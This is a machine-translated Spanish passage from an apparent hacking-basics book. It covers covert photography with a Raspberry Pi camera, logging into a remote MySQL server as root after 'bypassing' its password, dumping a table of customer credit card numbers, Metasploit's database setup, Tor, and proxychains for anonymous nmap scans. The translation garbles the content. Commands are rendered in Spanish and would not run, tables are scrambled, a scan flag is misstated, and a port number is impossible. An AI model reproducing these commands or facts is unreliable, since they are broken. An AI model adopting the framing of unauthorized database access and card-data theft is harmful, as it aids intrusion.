Figura 12-5: reinicie Pi para habilitar los cambios.

¡Ahora su cámara Raspberry Spy Pi debería estar habilitada y lista para espiar!

Comenzando a espiar

Una vez que su Raspberry Spy Pi se haya reiniciado y haya iniciado sesión a
través de SSH desde su terminal Kali, estará listo para comenzar a usarlo para
espiar tomando fotografías.
El sistema operativo Raspbian tiene una aplicación llamada raspistill que usaremos para
tomar fotografías de nuestra pequeña Raspberry Spy Pi.
Ingrese raspistill en la terminal para ver la pantalla de ayuda de la herramienta y todas sus
opciones:
Machine Translated by Google

pi@raspberrypi: raspistill raspistill


Camera App v1.3.8 Ejecuta la cámara
durante un tiempo específico y captura JPG al final si se solicita uso: raspistill [opciones]

Comandos de parámetros de
imagen --snip--

¡Usemos ahora el Raspberry Spy Pi para tomar algunas fotos de espionaje remoto!
El comando raspistill tiene numerosas opciones que debe explorar, pero aquí
simplemente usaremos los valores predeterminados. Para tomar una foto y guardarla
como JPEG, ingrese lo siguiente:

pi@raspberrypi: raspistill -v -o primera imagen.jpg aplicación de


cámara raspistill v1.3.8 ancho 2592, altura 1944, calidad 85,
nombre de archivo primera imagen.jpg Retardo de tiempo 5000, Raw no --snip--

Usamos la opción –v para darnos una salida detallada y la opción –o para decirle a
raspistill que estamos a punto de darle un nombre de archivo para usar; luego le damos
el nombre del archivo. Cuando hacemos una lista larga en Raspberry Spy Pi, podemos
ver el archivo firstpicture.jpg, como se muestra aquí:

pi @ raspberrypi: ls -l total
2452 drwxr-xr-x 2 pi pi drwxr-
xr-x 2 pi pi drwxr-xr-x 2 pi pi 4096 18 de marzo de 2019
-rw-r - r-- 1 pi pi drwxr-xr-x Escritorio 4096 18 de marzo de 2019
2 pi pi drwxr-xr-x 2 pi pi -- Documentos 4096 18 de marzo de
snip-- 2019 Descargas 2472219 18 de marzo de 2019
firstpicture.jpg 4096 18 de marzo de 2019
Música 4096 18 de marzo de 2019 Imágenes

Hemos tomado nuestra primera foto espía en nuestro Raspberry Spy remoto
Pi usando SSH! Siéntete libre de explorar más esta versátil arma.

Extraer información de MySQL MySQL es la base de

datos más utilizada detrás de las aplicaciones web basadas en bases de datos.
En nuestra era moderna de tecnologías Web 2.0, donde casi todos los sitios web
se basan en bases de datos, esto significa que MySQL contiene los datos de la
mayor parte de la web.
Machine Translated by Google

Las bases de datos son el “vellocino de oro” de los hackers. Contienen información
crítica sobre los usuarios, así como información confidencial, como números de tarjetas de
crédito. Por esta razón, los piratas informáticos suelen tener como objetivo las bases de
datos.

Al igual que Linux, MySQL es de código abierto y tiene licencia pública general (GPL),
y lo encontrará preinstalado en casi todas las distribuciones de Linux.
Al ser gratuito, de código abierto y potente, MySQL se ha convertido en la base de
datos elegida por muchas aplicaciones web, incluidos sitios web populares como
WordPress, Facebook, LinkedIn, Twitter, Kayak, Walmart.com, Wikipedia y YouTube.

Otros sistemas de administración de contenido (CMS) populares, como Joomla, Drupal


y Ruby on Rails, también usan MySQL. Entiendes la idea. Si desea desarrollar o atacar las
bases de datos backend de las aplicaciones web, debe conocer MySQL. Empecemos.

Iniciar MySQL
Afortunadamente, Kali ya tiene MySQL instalado (si está utilizando otra
distribución, puede descargar e instalar MySQL desde el repositorio de
software o directamente desde https://www.mysql.com/downloads/).
Para iniciar su servicio MySQL, ingrese lo siguiente en la terminal:

kali >servicio mysql inicio

A continuación, debe autenticarse iniciando sesión. Ingrese el


siguiente y, cuando se le solicite una contraseña, simplemente presione ENTER:

kali >mysql -u root -p


Ingrese la contraseña:
Bienvenido a MySQL monitor. Los comandos terminan en ; o \g.
Su ID de conexión MySQL es 4
Versión del servidor: 5.6.30-1 (Debian)
Copyright (c) 2000, 2016, Oracle y/o sus filiales. Todos los derechos reservados

Oracle es una marca registrada de Oracle Corporation y/o sus afiliados.


Otros nombres pueden ser marcas comerciales de sus respectivos
propietarios.

Escriba 'ayuda;' o '\h' para obtener ayuda. Escriba '\c' para borrar la declaración de entrada
actual mysql>
Machine Translated by Google

En la configuración predeterminada de MySQL, la contraseña del usuario root


está vacía. Obviamente, esta es una vulnerabilidad de seguridad importante y debe
remediarlo agregando una contraseña después de su primer inicio de sesión. Tenga
en cuenta que los nombres de usuario y las contraseñas para su sistema operativo y
MySQL son independientes y distintos. Cambiemos la contraseña para el usuario raíz
de MySQL ahora para estar seguros.

PASADO Y FUTURO DE MYSQL

MySQL fue desarrollado por primera vez por MySQL AB de Suecia en 1995 y luego fue comprado por
Sun Microsystems en 2008, que a su vez fue comprado por Oracle en 2009, por lo que MySQL ahora
es propiedad de Oracle. Oracle es el editor de software de base de datos más grande del mundo, por
lo que la comunidad de código abierto tiene inquietudes significativas sobre el compromiso de Oracle
de mantener el código abierto de MySQL. Como resultado, ahora existe una bifurcación del software
de base de datos MySQL llamada "Maria" que se compromete a mantener este software y sus versiones
posteriores de código abierto. Como administrador de Linux o hacker, debe vigilar a María.

Interactuando con MySQL


SQL es un lenguaje de programación interpretado para interactuar con una base de
datos. La base de datos suele ser una base de datos relacional, lo que significa que
los datos se almacenan en varias tablas que interactúan y cada tabla tiene valores
en una o más columnas y filas.

Hay varias implementaciones de SQL, cada una con su propio


comandos y sintaxis, pero aquí hay algunos comandos comunes:
seleccione Usado para recuperar datos

unión Se utiliza para combinar los resultados de dos o más operaciones de selección

insertar Se usa para agregar nuevos datos

actualizar Se utiliza para modificar datos existentes

eliminar Se utiliza para eliminar datos

Puede proporcionar condiciones a cada comando para ser más


específico sobre lo que quieres hacer. Por ejemplo, la línea
Machine Translated by Google

seleccione usuario, contraseña de clientes donde usuario = 'admin';

devolverá los valores para los campos de usuario y contraseña para cualquier usuario
cuyo valor de usuario es igual a "admin" en la tabla de clientes.

Establecer una contraseña de MySQL

Veamos qué usuarios ya hay en nuestro sistema MySQL ingresando al


siguiente. (Tenga en cuenta que los comandos en MySQL terminan con un
punto y coma.)

mysql > seleccione usuario, host, contraseña de mysql.user;


+------------------------------------------------- ---------------------------
| usuario | anfitrión | clave
+------------------------------------------------- ---------------------------
|raíz | |localhost | |
raíz | aphrodite.kali.org | |
raíz -- 127.0.0.1 |
recorte--

Esto muestra que los usuarios raíz no tienen una contraseña configurada. vamos a asignar un
contraseña para rootear. Para ello, primero seleccionaremos una base de datos con la que trabajar.
MySQL en su sistema vendrá con algunas bases de datos ya configuradas.
Utilice las bases de datos de la demostración; comando para ver todas las bases de datos disponibles:

mysql >mostrar bases de datos;


+----------------------------------------------+
| Base de datos |
+----------------------------------------------+
| esquema_información |
| mysql | |
esquema_de_rendimiento |
+----------------------------------------------+
3 filas en conjunto (0.23 seg)

MySQL viene con tres bases de datos por defecto, dos de las cuales
(information_schema y performance_schema) son bases de datos administrativas que
no usaremos aquí. Usaremos la base de datos no administrativa, mysql,
que se incluye para sus propios fines. Para comenzar a usar mysql
base de datos, ingrese:

mysql > usa mysql;


Lectura de información de tablas para completar los nombres de tablas y columnas
Puede desactivar esta función para obtener un inicio más rápido con -A
Machine Translated by Google

Base de datos cambiada

Este comando nos conecta a mysql. Ahora, podemos establecer la contraseña.


para que el usuario root se levante con el siguiente comando:

mysql > actualizar la contraseña establecida por el usuario = CONTRASEÑA ("hackers-arise") donde usuario = 'root';

Este comando actualizará al usuario configurando la contraseña de root del usuario


en hackers-arise.

Acceso a una base de datos remota


Para acceder a una base de datos MySQL en el localhost, usamos la siguiente sintaxis:

kali >mysql -u <nombre de usuario> -p

Este comando utiliza de manera predeterminada la instancia de MySQL en el host


local si no se le proporciona un nombre de host o una dirección IP. Entonces, para
acceder a una base de datos remota, debemos proporcionar el nombre de host o la
dirección IP del sistema que aloja la base de datos MySQL. Aquí hay un ejemplo:

kali >mysql -u raíz -p 192.168.1.101

Esto nos conectará a la instancia de MySQL en 192.168.1.101 y nos solicitará una


contraseña. Para fines de demostración, me estoy conectando a una instancia de
MySQL en mi red de área local (LAN). Si tiene un sistema en su red con MySQL
instalado, use su dirección IP aquí.
Asumiré que ha logrado eludir la contraseña y ha iniciado sesión en el sistema como
root (ya sabe que, de forma predeterminada, la base de datos mysql no tiene
contraseña).
Esto abre la interfaz de línea de comandos de MySQL, que nos proporciona el
indicador mysql > . Además de esta interfaz de línea de comandos, MySQL tiene
interfaces GUI, tanto nativas (MySQL Workbench) como de terceros (Navicat y TOAD
para MySQL). Para usted como hacker, la interfaz de línea de comandos puede ser la
mejor oportunidad para explotar la base de datos MySQL, por lo que nos centraremos
en eso aquí. Es poco probable que como
Machine Translated by Google

acceso no autorizado a la base de datos, se le presentará una GUI fácil de usar.

NOTA

Esta pantalla nos recuerda que todos los comandos deben terminar en punto y coma o \g
(a diferencia del SQL Server de Microsoft) y que podemos obtener ayuda ingresando ayuda;
o \h.

Ahora que hemos iniciado sesión como administrador del sistema, podemos navegar sin
obstáculos a través de la base de datos. Si hubiésemos iniciado sesión como usuario habitual,
nuestra navegación estaría limitada por los permisos que otorga el administrador del sistema a
ese usuario.

Conexión a una base de datos Con acceso al

sistema, queremos husmear. Nuestro siguiente paso es averiguar si hay alguna base de datos a
la que valga la pena acceder. Aquí está el comando para encontrar qué bases de datos están
en el sistema al que se accede:

mysql >mostrar bases de datos;


+----------------------------------------------+
| Base de datos |
+----------------------------------------------+
| esquema de información | |

mysql | números de tarjetas |

de crédito | |

esquema_de_rendimiento |

+----------------------------------------------+
4 filas en conjunto (0,26 seg)

¡Ajá! Hemos encontrado una base de datos que vale la pena explorar llamada creditcardnumbers.
Conectémonos a él.

En MySQL, como en otros sistemas de administración de bases de datos (DBMS), podemos


conectarnos a la base de datos que nos interese ingresando use databasename;.

mysql >utilizar números de tarjetas de crédito;


Base de datos cambiada
Machine Translated by Google

La respuesta de cambio de base de datos indica que ahora estamos conectados a


la base de datos de números de tarjetas de crédito .

Por supuesto, no hace falta decir que es poco probable que una base de datos
el administrador sería tan complaciente como para nombrar una base de datos algo como
fácilmente reconocibles como números de tarjeta de crédito, por lo que es posible que deba hacer un poco de
explorando para encontrar una base de datos de interés.

Tablas de base de datos

Ahora estamos conectados a la base de datos de números de tarjetas de crédito y podemos hacer un poco

de explorar para ver qué información podría contener. Los datos en una base de datos son
organizados en tablas, y cada tabla puede contener un conjunto diferente de elementos relacionados.
datos. Podemos averiguar qué tablas hay en esta base de datos ingresando el
siguiente comando:

mysql > mostrar tablas;


+--------------------------------------------------+
| Tables_in_creditcardnumbers |
+--------------------------------------------------+
| números de tarjeta |
+--------------------------------------------------+
1 fila en conjunto (0.14 seg)

Aquí, podemos ver que esta base de datos tiene solo una tabla, llamada

números de tarjeta En general, las bases de datos tendrán numerosas tablas en ellas, por lo que
es probable que tengas que husmear un poco más. En esta base de datos de ejemplo,
somos afortunados de poder centrar nuestra atención en esta única mesa para
¡Extrae el vellocino de oro del hacker!

Ahora que tenemos una tabla que queremos examinar, necesitamos


entender la estructura de esa tabla. Una vez que sabemos cómo está la mesa
establecidos, podemos extraer la información relevante.

Puede ver la estructura de la tabla usando la instrucción describe ,


al igual que:

mysql > describir números de tarjeta;


+---------------+--------------+---------+-------- ---+---------+---------+
| Campo | Escribe | Nulo | Llave | Predeterminado | adicionales |
+---------------+--------------+---------+-------- ---+---------+---------+
| clientes | | varchar(15) | SÍ | | | NULO | |
dirección | varchar(15) | SÍ | varchar(15) | | NULO | |
ciudad | SÍ | | NULO | |
Machine Translated by Google

| estado | varchar(15) | SÍ | int(12) | NULO |


| CC | NO || |0 || |
+---------------+--------------+---------+-------- ---+---------+---------+

MySQL responde con la información crítica sobre la estructura de


nuestra mesa de interés. Podemos ver el nombre de cada campo así como el
tipo de datos que contiene (a menudo el tipo de texto varchar o el tipo entero int). Podemos
también vea si aceptará valores NULL ; la clave, si existe alguna (la clave
tablas de enlaces); cualquier valor predeterminado que pueda tener un campo; y cualquier adicional
información al final, como notas.

Examen de los datos


Para ver realmente los datos en la tabla, usamos el comando SELECCIONAR . los
El comando SELECCIONAR requiere que conozca la siguiente información:

La tabla que contiene los datos que desea ver


Las columnas dentro de esa tabla que contienen los datos que desea ver

Lo planteamos en el siguiente formato:

SELECCIONAR columnas DE la tabla

Como un atajo útil para ver los datos de todas las columnas, podemos usar
un asterisco como comodín en lugar de escribir cada nombre de columna que
quiero mirar Entonces, para ver un volcado de todos los datos de los números de tarjeta
tabla, ingresamos lo siguiente:

mysql > SELECCIONE * DE números de tarjeta;


+-----------+---------------+-------------------+------- --+--------------+
| clientes | habla a | ciudad | estado | CC |
+-----------+---------------+-------------------+------- --+--------------+
| jones | Calle de la pared 1 | NUEVO | NUEVO | 12345678 |
| Aserrador | 12 Piccadilly | Londres | Reino Unido | 234567890 |
† hacer | calle delantera 25 | Los Ángeles | California | 4567898877 |
+-----------+---------------+-------------------+------- --+--------------+

Como puede ver, MySQL ha mostrado toda la información de la


tabla de números de tarjeta a nuestra pantalla. ¡Hemos encontrado el vellocino de oro del hacker!
Machine Translated by Google

PostgreSQL con Metasploit PostgreSQL, o

simplemente Postgres, es otra base de datos relacional de código abierto que se


usa a menudo en aplicaciones muy grandes orientadas a Internet debido a su
capacidad para escalar fácilmente y manejar cargas de trabajo pesadas. Fue
lanzado por primera vez en julio de 1996 y es mantenido por un grupo importante de
desarrolladores conocido como PostgreSQL Global Development Group.
PostgreSQL también está instalado de forma predeterminada en Kali, pero si está
utilizando otra distribución de Linux, probablemente estará en su repositorio y puede
instalarlo ingresando el siguiente comando:

kali >apt-get instalación de postgres

Como pirata informático, encontrará que PostgreSQL es particularmente


importante porque es la base de datos predeterminada del marco de prueba de
penetración y piratería más utilizado, Metasploit. Metasploit usa PostgreSQL para
almacenar sus módulos, así como los resultados de escaneos y exploits, para facilitar
su uso en una prueba de penetración o pirateo. Por esa razón, usaremos PostgreSQL
aquí en el contexto de Metasploit.
Al igual que con casi todos los servicios en Linux, podemos iniciar PostgreSQL
ingresando el inicio de la aplicación de servicio , así:

kali > servicio postgresql inicio

Con PostgreSQL en funcionamiento, comencemos Metasploit:

tiempos > msfconsole

Tenga en cuenta que cuando Metasploit haya terminado de iniciarse, verá un


aviso de msf > .
Enseñarle cómo usar Metasploit con fines de piratería y explotación está más allá
del alcance de este libro, pero aquí configuraremos la base de datos en la que
Metasploit almacenará su información.
Con Metasploit ejecutándose, podemos configurar PostgreSQL con el siguiente
comando para que almacene datos de cualquier actividad de Metasploit en su sistema:
Machine Translated by Google

msf >msfdb init [*]


exec :msfdb init Creando
base de datos use 'msf'
Ingrese la contraseña para el nuevo
rol Ingrésela nuevamente: Creando
bases de datos 'msf' y 'msf_test'
Creación del archivo de configuración /usr/share/metasploit-framework/config/database.yml Creación del
esquema de base de datos inicial

A continuación, debemos iniciar sesión en Postgres como root. Aquí, antecedemos el


comando con el comando "cambiar de usuario", para obtener privilegios de root: su,

msf> su postgres [*]


su postgres postgres
@ kali: / root $

Cuando inicie sesión en Postgres, verá que el aviso ha cambiado a postgres@kali:/


root$, que representa la aplicación, el nombre de host y el usuario.

En el siguiente paso, necesitamos crear un usuario y una contraseña, así:

postgres@kali:/ root$ crear usuario msf_user -P


Ingrese la contraseña para el nuevo rol:
Introdúcelo de nuevo:

Creamos el nombre de usuario msf_user usando la opción –P con el comando


createuser . Luego ingrese la contraseña deseada dos veces. A continuación, debe crear la
base de datos y otorgar permisos para msf_user. Nombre la base de datos hackers_arise_db,
como se muestra aquí:

postgres@kali:/ root$ createdb --owner=msf_user hackers_arise_db postgres@kali:/


root$ exit

Cuando sale de Postgres con el comando exit , la terminal


volverá a caer en el indicador msf > .
A continuación, tenemos que conectar nuestra consola Metasploit, msfconsole, a nuestro
Base de datos PostgreSQL definiendo lo siguiente:

El usuario

La contraseña
El anfitrión
Machine Translated by Google

El nombre de la base de datos

En nuestro caso, podemos conectar msfconsole a nuestra base de datos con el


siguiente comando:

msf >db_connect msf_user:contraseña@127.0.0.1/ hackers_arise_db

Por supuesto, deberá proporcionar la contraseña que utilizó anteriormente.


La dirección IP es la de su sistema local (localhost), por lo que puede usar 127.0.0.1 a
menos que haya creado esta base de datos en un sistema remoto.
Por último, podemos verificar el estado de la base de datos PostgreSQL para hacer
Seguro que está conectado:

msf > db_status


[*] postgresql conectado a msf

Como puede ver, Metasploit responde que la base de datos PostgreSQL está conectada
y lista para usar. Ahora, cuando hacemos un escaneo del sistema o ejecutamos exploits
con Metasploit, los resultados se almacenarán en nuestra base de datos PostgreSQL.
Además, Metasploit ahora almacena sus módulos en nuestra base de datos de Postgres,
lo que hace que las búsquedas del módulo correcto sean mucho más fáciles y rápidas.

Resumen

Linux tiene numerosos servicios que se ejecutan en segundo plano hasta que
el usuario los necesita. El servidor web Apache es el más utilizado, pero un
pirata informático también debe estar familiarizado con MySQL, SSH y
PostgreSQL para varias tareas. En este capítulo, cubrimos los conceptos
básicos absolutos para comenzar con estos servicios. Una vez que se sienta
cómodo con su sistema Linux, le insto a que salga y explore más a fondo
cada uno de estos servicios.

EJERCICIOS

Antes de pasar al Capítulo 13, pruebe las habilidades que aprendió en este capítulo
completando los siguientes ejercicios:
Machine Translated by Google

1. Inicie su servicio apache2 a través de la línea de comando.

2. Con el archivo index.html, cree un sitio web simple que anuncie su llegada al apasionante mundo de la
piratería.

3. Inicie su servicio SSH a través de la línea de comandos. Ahora conéctese a su sistema Kali desde otro
sistema en su LAN.

4. Inicie su servicio de base de datos MySQL y cambie la contraseña de usuario raíz para que surjan piratas
informáticos. Cambie a la base de datos mysql .

5. Inicie su servicio de base de datos PostgreSQL. Configúrelo como se describe en este capítulo para que lo
utilice Metasploit.
Machine Translated by Google

13
SER SEGURO Y ANÓNIMO

Hoy en día, se rastrea casi todo lo que hacemos en Internet. Quienquiera que esté haciendo
el seguimiento, ya sea Google rastreando nuestras búsquedas en línea, visitas al sitio web
y correo electrónico o la Agencia de Seguridad Nacional (NSA) catalogando todas nuestras
actividades, cada uno de nuestros movimientos en línea se registra, indexa y luego extrae
para el beneficio de alguien. El individuo promedio, y el pirata informático en particular, debe
comprender cómo limitar este seguimiento y permanecer relativamente anónimo en la web
para limitar esta vigilancia ubicua.

En este capítulo, analizamos cómo puede navegar por el mundo


Web de forma anónima (o lo más cerca posible) utilizando cuatro métodos:

La Red de la Cebolla

servidores proxy
redes privadas virtuales
Correo electrónico encriptado privado

Ningún método es seguro para mantener sus actividades a salvo de miradas indiscretas,
y con suficiente tiempo y recursos, cualquier cosa puede ser rastreada.
Sin embargo, estos métodos probablemente harán que el trabajo del rastreador sea mucho
más difícil.
Machine Translated by Google

Cómo Internet nos delata Para comenzar,

analicemos a un alto nivel algunas de las formas en que se rastrean


nuestras actividades en Internet. No entraremos en todos los métodos de
seguimiento, ni en demasiados detalles sobre ningún método, ya que eso
estaría más allá del alcance de este libro. De hecho, tal discusión podría
ocupar un libro entero por sí sola.
Primero, su dirección IP lo identifica mientras navega por Internet.
Los datos enviados desde su máquina generalmente se etiquetan con su dirección
IP, lo que facilita el seguimiento de sus actividades. En segundo lugar, Google y
otros servicios de correo electrónico "leerán" su correo electrónico y buscarán
palabras clave para brindarle anuncios de manera más eficiente. Aunque hay
muchos métodos más sofisticados que requieren mucho más tiempo y recursos,
estos son los que tratamos de evitar en este capítulo. Empecemos por echar un
vistazo a cómo nos delatan las direcciones IP en Internet.
Cuando envía un paquete de datos a través de Internet, contiene las direcciones
IP del origen y el destino de los datos. De esta forma, el paquete sabe hacia dónde
se dirige y dónde devolver la respuesta. Cada paquete salta a través de múltiples
enrutadores de Internet hasta que encuentra su destino y luego regresa al
remitente. Para la navegación general por Internet, cada salto es un enrutador por
el que pasa el paquete para llegar a su destino. Puede haber hasta 20 o 30 saltos
entre el remitente y el destino, pero normalmente cualquier paquete llegará al
destino en menos de 15 saltos.

A medida que el paquete atraviesa Internet, cualquiera que lo intercepte puede


ver quién lo envió, dónde ha estado y hacia dónde se dirige. Esta es una forma en
que los sitios web pueden saber quién es usted cuando llega e iniciar sesión
automáticamente, y también es la forma en que alguien puede rastrear dónde ha
estado en Internet.
Para ver qué saltos puede hacer un paquete entre usted y el destino, puede
usar el comando traceroute , como se muestra a continuación. Simplemente
ingrese traceroute y la dirección IP o dominio de destino, y el comando enviará
paquetes al destino y rastreará la ruta de esos paquetes.
Machine Translated by Google

kali >traceroute google.com


traceroute a google.com (172.217.1.78), 30 saltos máx., paquetes de 60 bytes 1
192.168.1.1 (192.168.1.1) 4.152 ms 3.834 ms 32.964 ms 2 10.0.0.1 (10.0.0.1) 5.797
ms 6.995 ms 7.679 ms 3 96.120.96.45 (96.120.96.45) 27.952 ms 30.377 ms 32.964
ms --snip-- 18 lgal15s44-in-f14.le100.net (172.217.1.78) 94.666 ms 4 42.950 ms

Como puede ver, www.google.com está a 18 saltos de Internet de mí. Es


probable que sus resultados sean diferentes porque su solicitud provendría de
una ubicación diferente y porque Google tiene muchos servidores en todo el
mundo. Además, los paquetes no siempre toman la misma ruta a través de
Internet, por lo que puede enviar otro paquete desde su dirección al mismo sitio
y recibir una ruta diferente. Veamos cómo podemos disfrazar todo esto con la
red Tor.

El sistema de enrutador Onion En la

década de 1990, la Oficina de Investigación Naval (ONR) de EE. UU. se propuso


desarrollar un método para navegar anónimamente por Internet con fines de
espionaje. El plan era configurar una red de enrutadores que estuviera separada
de los enrutadores de Internet, que pudiera encriptar el tráfico y que solo
almacenara la dirección IP no encriptada del enrutador anterior, lo que significa
que todas las demás direcciones de enrutador en el camino estaban encriptadas.
La idea era que cualquiera que observara el tráfico no pudiera determinar el
origen o el destino de los datos. Esta investigación se conoció como "El proyecto
Onion Router (Tor)" en 2002, y ahora está disponible para que cualquiera pueda
usarla para una navegación relativamente segura y anónima en la web.

Cómo funciona Tor

Los paquetes enviados a través de Tor no se envían a través de los enrutadores


regulares que tantos monitorean tan de cerca, sino que se envían a través de
una red de más de 7,000 enrutadores en todo el mundo, gracias a los
voluntarios que permiten que Tor use sus computadoras. Además de usar una
red de enrutadores totalmente separada, Tor encripta los datos, el destino y la
dirección IP del remitente de cada paquete. En cada salto, la información se cifra y luego
Machine Translated by Google

descifrado por el siguiente salto cuando se recibe. De esta manera, cada


paquete contiene información solo sobre el salto anterior a lo largo de la
ruta y no sobre la dirección IP de origen. Si alguien intercepta el tráfico,
solo puede ver la dirección IP del salto anterior y el propietario del sitio
web solo puede ver la dirección IP del último enrutador que envió el tráfico
(consulte la Figura 13-1). Esto asegura un relativo anonimato en Internet.

Figura 13-1: Cómo utiliza Tor los datos de tráfico cifrados

Para habilitar el uso de Tor, simplemente instale el navegador Tor


desde https://www.torproject.org/. Una vez instalado, se parecerá a la
Figura 13-2 y podrá usarlo como cualquier navegador de Internet antiguo.
Al usar este navegador, navegará por Internet a través de un conjunto
separado de enrutadores y podrá visitar sitios sin ser rastreado por Big
Brother. Desafortunadamente, la desventaja es que navegar a través del
navegador Tor puede ser mucho más lento; debido a que no hay tantos
enrutadores, el ancho de banda es limitado en esta red.
Machine Translated by Google

Figura 13-2: La página de destino del navegador Tor

Además de ser capaz de acceder a casi cualquier sitio web en Internet


tradicional, el navegador Tor es capaz de acceder a la web oscura. Los sitios web
que componen la web oscura requieren anonimato, por lo que permiten el acceso
solo a través del navegador Tor y tienen direcciones que terminan en .onion para
su dominio de nivel superior (TLD). La web oscura es famosa por su actividad
ilegal, pero también hay una serie de servicios legítimos disponibles allí. Sin
embargo, una advertencia: al acceder a la web oscura, es posible que encuentre
material que muchos encontrarán ofensivo.

Preocupaciones de seguridad

Los servicios de inteligencia y espionaje de los Estados Unidos y otras naciones


consideran que la red Tor es una amenaza para la seguridad nacional, ya que
creen que una red tan anónima permite que los gobiernos extranjeros y los
terroristas se comuniquen sin ser observados. Como resultado, varios proyectos
de investigación robustos y ambiciosos están trabajando para romper el anonimato de Tor.
Machine Translated by Google

Estas autoridades han roto el anonimato de Tor antes y es probable que lo vuelvan
a romper. La NSA, por ejemplo, ejecuta sus propios enrutadores Tor, lo que significa
que su tráfico puede estar atravesando los enrutadores de la NSA cuando usa Tor. Si
su tráfico sale de los enrutadores de la NSA, eso es aún peor, porque el enrutador de
salida siempre conoce su destino. La NSA también tiene un método conocido como
correlación de tráfico, que consiste en buscar patrones en el tráfico entrante y saliente,
que ha sido capaz de romper el anonimato de Tor. Aunque estos intentos de romper
Tor no afectarán la efectividad de Tor para ocultar su identidad de los servicios
comerciales, como Google, pueden limitar la efectividad del navegador para mantenerlo
en el anonimato de las agencias de espionaje.

Servidores proxy
Otra estrategia para lograr el anonimato en Internet es usar proxies, que son sistemas
intermedios que actúan como intermediarios para el tráfico: el usuario se conecta a un
proxy y el tráfico recibe la dirección IP del proxy antes de pasar (consulte la Figura 13
-3). Cuando el tráfico regresa del destino, el proxy envía el tráfico de regreso a la
fuente. De esta forma, el tráfico parece provenir del proxy y no de la dirección IP de
origen.

Figura 13-3: Ejecución de tráfico a través de un servidor proxy

Por supuesto, es probable que el proxy registre su tráfico, pero un investigador


tendría que obtener una citación u orden de allanamiento para obtener los registros. Para
Machine Translated by Google

Para que su tráfico sea aún más difícil de rastrear, puede usar más de un proxy, en una
estrategia conocida como cadena de proxy, que veremos un poco más adelante en
este capítulo.
Kali Linux tiene una excelente herramienta de proxy llamada proxychains que
puede configurar para ocultar su tráfico. La sintaxis del comando proxychains es
sencilla, como se muestra aquí:

kali >proxychains <el comando que desea transmitir> <argumentos>

Los argumentos que proporcione pueden incluir una dirección IP. Para
Por ejemplo, si quisiera usar proxychains para escanear un sitio de forma nmap

anónima, ingresaría lo siguiente:

kali >proxychains nmap -sT - Pn <dirección IP>

Esto enviaría el comando de escaneo sigiloso nmap –sS a la dirección IP dada a


través de un proxy. Luego, la herramienta crea la cadena de servidores proxy, por lo
que no tiene que preocuparse por eso.

Configuración de proxies en el archivo de configuración

En esta sección, configuramos un proxy para que lo use el comando proxychains . Al


igual que con casi todas las aplicaciones en Linux/Unix, la configuración de proxychains
es administrada por el archivo de configuración, específicamente /etc/proxychains.conf.
Abra el archivo de configuración en el editor de texto de su elección con el siguiente
comando (reemplace el leafpad con el editor elegido si es necesario):

kali >leafpad /etc/proxychains.conf

Debería ver un archivo como el que se muestra en el Listado 13-1.

# proxychains.conf VER 3.1 #


Proxificador de tunelización HTTP, SOCKS4, SOCKS5 con DNS.

# La siguiente opción identifica cómo se trata ProxyList. # solo se debe


descomentar una opción a la vez, # de lo contrario, se aceptará la última
opción que aparezca # # cadena_dinámica # # Dinámica: cada conexión se
realizará a través de proxies encadenados # todos los proxies encadenados
en el orden en que aparecen en la lista
Machine Translated by Google

# al menos un proxy debe estar en línea para jugar en cadena # (los


proxies muertos se omiten) # de lo contrario, EINTR se devuelve a
la cadena estricta de la aplicación
# Estricto: cada conexión se realizará a través de proxies encadenados #
todos los proxies encadenados en el orden en que aparecen en la lista # todos
los proxies deben estar en línea para jugar en cadena # de lo contrario, EINTR
se devuelve a la aplicación M

--recorte--

Listado 13-1: El archivo proxychains.conf

Desplácese hacia abajo en este archivo hasta la línea 61 y debería ver ProxyList
sección, como se muestra en el Listado 13-2.

[ProxyList] #
añadir proxy aquí... #
mientras tanto # el valor
predeterminado es "tor"
socks4 127.0.0.1 9050

Listado 13-2: La sección del archivo de configuración para agregar proxies

Podemos agregar proxies ingresando las direcciones IP y los puertos de los proxies que
queremos usar en esta lista. Por ahora, usaremos algunos proxies gratuitos.
Puede encontrar proxies gratuitos buscando en Google “proxies gratuitos” o usando el sitio http://
www.hidemy.name, como se muestra en la Figura 13-4. Tenga en cuenta, sin embargo, que el
uso de proxies gratuitos en la actividad de piratería de la vida real no es una buena idea. Cubriré
esto con más detalle más adelante en el capítulo. El ejemplo utilizado aquí es solo para fines
educativos.
Machine Translated by Google

Figura 13-4: Proxies gratuitos de http://www.hidemy.name

Complete los detalles en el formulario o simplemente haga clic en buscar; luego agregue
uno de los proxies resultantes a su archivo proxychains.conf usando el siguiente formato:

Tipo Puerto de dirección IP

Aquí hay un ejemplo:

[ProxyList] #
añadir proxy aquí...
socks4 114.134.186.12 22020 #
mientras tanto # valores
predeterminados establecidos en
"tor" # calcetines4 127.0.0.1 9050

Es importante tener en cuenta que las cadenas de proxy usan de forma predeterminada
Tor si no ingresa ningún proxy propio. La última línea del Listado 13-2 indica
Machine Translated by Google

proxychains para enviar tráfico primero a través del host en 127.0.0.1 en el puerto 9050 (la
configuración predeterminada de Tor). Si no está agregando sus propios proxies y quiere usar Tor,
déjelo como está. Si no está utilizando Tor, deberá comentar esta línea (agregue un # antes).

Por mucho que me guste Tor, como mencioné, suele ser muy lento. Además,
debido a que la NSA ha roto Tor, es mucho menos probable que dependa de él para
el anonimato. Por lo tanto, comento esta línea y agrego mi propio conjunto de proxies.

Vamos a probarlo. En este ejemplo, voy a abrir el navegador Firefox y hacer que
navegue a https://www.hackers-arise.com/ de forma anónima enviando el tráfico a
través de un proxy.
El comando es el siguiente:

kali >proxychains firefox www.hackers-arise.com

Esto abre con éxito https://www.hackers-arise.com/ en Firefox a través de mi


proxy elegido y me devuelve los resultados. Para cualquiera que rastree este tráfico,
parece que fue mi proxy el que navegó a https://www.hackers-arise.com/ en lugar
de mi dirección IP.

Algunas opciones más interesantes Ahora que

tenemos proxychains funcionando, veamos algunas otras opciones que podemos


configurar a través del archivo proxychains.conf. Como ahora lo tenemos configurado,
simplemente estamos usando un solo proxy. Sin embargo, podemos poner múltiples
servidores proxy y usarlos todos, podemos usar un número limitado de la lista, o
podemos hacer que las cadenas proxy cambien el orden al azar. Probemos todas
estas opciones.

Agregar más proxies

Primero, agreguemos más proxies a nuestra lista. Vuelva a http://www.hidemy.name


y busque más direcciones IP de proxy. Luego agregue algunos más de estos proxies
a su archivo proxychains.conf, así:

[ProxyList]
# añadir proxy aquí...
socks4 114.134.186.12 22020
Machine Translated by Google

calcetines4 188.187.190.59 8888


calcetines4 181.113.121.158 335551

Ahora guarde este archivo de configuración e intente ejecutar el siguiente comando:

